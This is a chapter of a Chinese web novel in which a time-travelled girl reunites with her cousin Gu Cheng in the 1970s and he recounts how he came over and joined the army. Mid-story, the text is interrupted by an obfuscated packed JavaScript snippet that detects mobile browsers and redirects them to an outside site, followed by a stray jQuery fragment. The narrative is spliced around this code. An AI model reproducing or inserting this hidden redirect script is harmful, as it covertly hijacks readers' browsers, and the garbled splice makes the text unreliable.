15. 第十五章 三哥
作品:《跟着表哥穿七零》 听见这个久违的名字,宋璨只觉得恍如隔世。
她以为这一生,她再也不会再听见有人叫这个名字了,这个承载了她曾经无数美好记忆和爱的小名。
宋璨就这么站着,看着,一句话也说不出来。
任凭泪流满面,寂静无声。
还是顾程弯下腰再次出声,打破了这无言的寂静。
“昭昭,好久不见。”
顾程声音放缓,不似平常一般冷硬,像是怕惊扰到眼前的人,似安慰又似调侃,难得不像他以往的风格,启唇,
“昭昭见到三哥不高兴吗,怎么还哭成小花猫了。”
见宋璨还是还是没出声。
顾程顿了一下,用手轻轻擦过宋璨眼上的泪水,声音沙哑,自言自语般回道,
“可是三哥见到昭昭,很高兴呢。”
……
宋璨跟在顾程身后,看着顾程上前跟匆匆赶到的警察交涉,出示身份,说明事情缘由,把蒋鸣交给警察,并帮助驱散周围因为看见发生这事儿且引来警察而瞬间涌过来的人群后,又跟着一起回了警局做笔录。
除了在警察问话时点头,简单解释了一下她和蒋鸣的关系,以及刚才发生的事后,一路上宋璨一句话都没说,只亦步亦趋的跟在顾程身后。
在离开警局后,在顾程询问后,宋璨带着他回了家。
宋璨在警察问话时就止了泪,一路无言。
可能是想给她一点时间平复,路上顾程也没再出声。
这个状况一直持续到宋璨带着顾程进了家门。
就在顾程担心宋璨情况,想要再次开口时,已经止了泪的宋璨却突然呜咽着向他冲过来。
重重地扑到他怀里,双手抱着他的脖子,放声大哭。
不是之前的无声落泪,这次的哭声肆意,响彻整个空间,像是要把这些天的委屈和无助都哭出来一样。
宋璨的热泪滴到了顾程的脖梗上,顾程却觉得像是滴到了他心里,滚烫极了。
他抬起手,只能缓缓地拍着宋璨的背,一时只觉得心头发涩,心口发疼,喉咙发堵。
过了很久,才哑声安慰道,
“昭昭,没事了,三哥在呢。”
两人维持着这个姿势很久、很久。
……
宋璨难得肆意地哭了一场,把这些天的坏情绪都通通哭了出去,宋璨感觉舒服多了。
自从来到这里,宋璨一次都没有哭过。
不仅是因为宋璨知道哭也无用,解决不了任何事情,更是因为她清楚地明白,她哭也没人看,她无人可哭。
所以她从来不哭。
但是今天,当她看到三哥的那一刻,当她听见他温柔地叫他,“昭昭。”
宋璨就再也忍不住了。
孤身一人来到这陌生的世界,她不是不害怕,不是不彷徨。
但她只能让自己坚强,强行忽略这些情绪,假装自己是真的无所畏惧,装到自己也相信自己是真的无所畏惧。
但是这一切,当真正看到一个熟悉的、可以肆意撒娇、诉说的人的时候,就瞬间土崩瓦解了。
因为她知道,她的那些委屈和无助,有人可以听了。
她不再孤身一人,不再无人可哭。
就像是小孩子自己摔倒了,四周无人的时候,就当没事儿人一样自己爬起来了,但是一看到妈妈在旁边,就会嚎啕大哭一样。
宋璨现在就是这个心理。
任由宋璨发泄,等她终于哭好了,顾程才拿着浸透的热毛巾,一点一点给宋璨擦去脸上的泪痕。
宋璨不错眼的盯着他动作,等他擦好了,才声音沙哑地开口,
“三哥,真的是你吗,你怎么会在这儿。”
哭了这么久宋璨的声音哑了些,这会儿即使心里已经肯定了,但还是执着地想听顾程再亲自回答一遍。
还有,你不是在两年前就战死了吗,怎么会在这儿?宋璨疑惑。
其实宋璨心中有千言万语要问,只是一时不知从哪开口,只得先问这个最直接的。
顾程也果然不负所望,马上给了宋璨最想要的回答,
“昭昭,是我,是三哥。”
说完,顿了顿,像是知道宋璨心中所想,没等她再说话,就把自己这些年的经历缓缓道来。
原来,顾程确实是在两年前的大战中,中毒战死了。
只不过也如宋璨一样,死后莫名穿到了这个年代。
不过,不像宋璨,他的运气一般。
顾程穿到了一个北方乡下的村子里,在一个刚死不久的十五岁少年身上醒来。
原身是饿死的,大雪封山,又冷又饿,死在了上山寻找食物的路上。
当年是饥荒年,又逢冬季大雪封山,家里仅有的一点点存粮都吃完了,也没人会借。
为了他和他娘能活命,原身感觉雪小了些,就冒着风雪上了山,寻求一线生机。
但是他自己本来就是饿着肚子上山的,积雪又深,他身子单薄,瘦骨嶙峋的,找了好久都没找到能吃的东西。
又累又饿又困,直到最后再也走不动,就这么倒在了雪地里。
梳理完原身的记忆后,顾程想,怎么能找到呢,找不到才是正常的,在原身的记忆里,一连几年的饥荒年,山上能吃的东西早就被大家抢光了。
原身上山,只不过是无奈之下的无奈之举,希翼着老天能给他一丝希望。
只不过,天不遂人愿,原身带着微弱而渺茫的希望死在了那座山上。
而顾程在这具身体中醒来后,却不幸而又幸运的,等来了救援的人。
当时顾程听到远处传来的动静,艰难出声,又拿手边的石子弄出声响,终于让对方寻到了他的位置
来的人正是原身的舅舅,是特意上山来找他的。
忽略了对方复杂难言的目光,顾程艰难的被对方背着对方下了山。
终于回到原身的家,却发现原来原身的娘已经死了。
是自己吊死的。
就在原身上山不久后。
不知道是为了不拖累原身,还是觉得生活无望,自己扯了绳子吊在梁上就这么走了。
就差了那么一会儿,就能等到原身的舅舅来送粮了。
而直到这会儿,顾程才注意到原身舅舅泛红的双眸。
原身舅舅住在隔壁村,知道姐姐家的情况。
但大雪封山,走不得路,今天看雪好不容易小了点,才紧赶慢赶地特意过来送粮。
没想到还是没赶上。
他来时拍了半天门没人应,门口还有外出的脚印,当下就感觉不好,好不容易翻墙进去,就发现他二姐上吊了。
颤抖的哭着把二姐放下后,抱着人哭了好一阵。
才想起没看见他外甥的影子,又想到门口的脚印,顿时暗道不好。
他想着既然路上没遇到大外甥,也没去他家,也不在周围邻居家,那一定是上山了。
还问了离山脚不远的村民家,也说是看见人往上山方向去了。
这才匆匆上了山寻找,接到了刚来的顾程。
随后的故事就是原身舅舅悲痛过后,在雪停后做主操办了原身娘的丧事。
又问过顾程的意见后,几经苦劝,确定顾程不想跟他回家后,留在家里照顾到顾程身子恢复,又留了一些粮食后,回去了。
至于原身的爹,早在饥荒年刚刚开始的时候,就因为上山打猎遇到猛兽没了。
之后的日子就是顾程自己生活了。
好在那是最后一年的饥荒,加上舅舅不放心,时常会带着粮食来看他,之后几年日子逐渐好过很多。
而且顾程有武艺在身,身体恢复后,就慢慢捡了起来,虽不如前世,但也恢复了五分。
好了之后,凭借自己的身手,顾程经常会到深山里去打猎。
为了安全起见,他只打小猎物,不招惹猛兽,但是荒年,连野兽都少见,所以十次里,大概只有五次能有收获。
乡下的日子不好过,顾程只能一边根据原身的记忆适应这个时代,一边寻求出路。
在村里足足待了三年,等到顾程十八岁,他终于找到机会,像前世一样,参了军。
这些年东奔西走,他驻扎过很多地方,也参加了不少战事。
差不多两年前,顾程升了副团长,转任到南龄城附近驻守的部队,随后一直驻扎在这里,没离开过。
大概大半个月之前,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912905|192309||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他和部队的战友来城里办事儿,路过供销社,看见了宋璨的背影,总觉得特别熟悉,怀着一种莫名的期待,他回去之后辗转反侧了一夜。
自此之后,每次到他轮休,他不再像以前一样串给别人,都会选择休息,然后来南龄城看看,尤其是那个供销社附近,就是想看看能不能再遇到那个背影。
但是一个月过去了,却一次都没遇到过,他几乎以为之前是自己眼花了。
没想到今天他和战友一起在中央饭店吃饭,却再次看见了那个背影。
他当时坐在二楼窗边,却鬼使神差地往楼下看了一眼,就看见宋璨刚刚从楼下走过。
这才赶忙追出来。
刚到就听见蒋鸣想行凶,一时间什么也想不到,一脚就过去了。
等上去把蒋鸣凑了个半死之后,才想起来找宋璨。
等真正见了面,顾程才发现这个一直让他觉得熟悉而辗转反侧的人。
原来真的是昭昭,果然是昭昭。
他的小表妹。
等见了面,顾程面上平静,实则心头鼓鼓,只万分庆幸当时自己往窗下看了。
当然这些事儿,顾程现下都隐去没说。
只三言两语说了自己穿到北方农村的一个乡下小子身上,等到了岁数就去参了军,这些年都跟着部队在外地,两年前调到了这里的部队,一直待到了现在。
今天跟战友吃饭,看见她从楼下走过,觉得熟悉,就跟了出来,没想到正遇到蒋鸣要行凶,也幸亏当时跟了过来。
宋璨:“也就是说,三哥你来这都好多年了?不是最近来的?”
顿了顿,宋璨又继续轻声道:
“三哥,你这些年,是不是受了好多苦。”
即使顾程没说,宋璨也能想到他的日子不会太好过。
这年头,城里日子都不好过,别说是在乡下了。
尤其听顾程话里的意思,他来的时候也是没成年,那在乡下肯定也没工作,可想而知,过得是什么日子了。
“你黑了,也瘦了,跟两年前比也更成熟了。”宋璨看着顾程的脸慢慢说道。
顾程笑了一下:“当然更成熟了,三哥今年都二十五了。你上次见我的时候,我还是十五呢,可不是不一样了。”
“你之前说你穿来的时候原主十五,现在都二十五了呀,那三哥你岂不是都来了有十年了!”
宋璨惊讶道。
三哥明明在景朝才走了两年,在这却已经过了十年了,这时差怎么如此之大,宋璨惊讶了。
顾程点头,表示确实是这样。
又转头问宋璨的情况。
顾程:“昭昭,那你来了有多久了,我走后景朝现在过了几年了?”
宋璨:“我是一个月之前到的。“
又道:”三哥你走后,景朝那边过了两年了。”
顾程听了,没说别的,只道,“那我们昭昭今年该有十六岁了,是大姑娘了!三哥离京的时候,你才只有十三岁呢。时间过得可真快啊!”
说完,没等宋璨给出反应,继续问道,
“昭昭,那你现在在这边是什么情况,跟三哥好好说说。”
像是刚才只是随意感叹了一句。
宋璨只好咽回了想说的话,顺着回答道,
“三哥,我现在自己一个人住。我穿的这个原身目前是个孤女,今年十七岁,这个女孩的妈妈小时候就去世了,爸是这边机械厂的副厂长,也在我来之前的半年,因公牺牲成了烈士,所以家里现在就我自己在。”
“我当时出门上香,本来坐在马车上,不知道哪来的一股大力,直接把我甩出了马车,我磕破了头就来这了。”
“来了一个多月,适应的还行。隔壁是机械厂的张厂长家,他们一家一直也对我挺照顾的。然后现在我在城里的罐头厂财务科上班。”
“除了有点孤独想家之外,我现在过得还成,三哥你不用担心我。”宋璨说完又补充了一句。
宋璨还特意提了一下,她今年十七,跟前世十六岁差不多,也像是在回应之前顾程的话。
虽然三哥没见到十六岁的她,但是十七岁的她,他现在见到了。
跟十六岁也差不多。宋璨想。

